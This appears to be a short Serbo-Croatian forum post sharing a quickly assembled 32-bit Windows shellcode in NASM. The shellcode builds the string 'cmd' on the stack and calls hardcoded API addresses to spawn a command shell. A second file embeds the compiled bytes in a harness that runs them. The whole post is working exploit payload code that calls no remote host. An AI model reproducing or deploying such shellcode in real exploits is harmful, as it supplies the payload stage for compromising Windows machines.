kod mene tvoj kod radi... moglo bi se reci...
nasm
Code:
;sh.asm
bits 32
start:
push ebp
mov ebp,esp
xor eax,eax
mov ebx, tvoja adresa
mov ax, 3000
push eax
call ebx
xor edi,edi
push edi
mov byte [ebp-04h], 63h
mov byte [ebp-03h], 6Dh
mov byte [ebp-02h], 64h
push edi
mov byte [ebp-08h], 03h
lea eax,[ebp-04h]
push eax
mov eax, tvoja adresa
call eax
end
i onda ubacis kompajlirani shellcode u ovaj fajl....
Code:
;callsh.asm
extern ExitProcess
section code use32 class=code
..start:
call shellcode
;..........................
;..........................
shellcode:
db 85,137,229,49,192,187,8,45,249,191,102,184,184,11,80,255
db 211,49,255,87,198,69,252,99,198,69,253,109,198,69,254,100
db 87,198,69,248,3,141,69,252,80,184,92,142,247,191,255,208
push byte 0
call ExitProcess
end
ovo sam na brzinu sklepo, tako ga nekako testiraj.....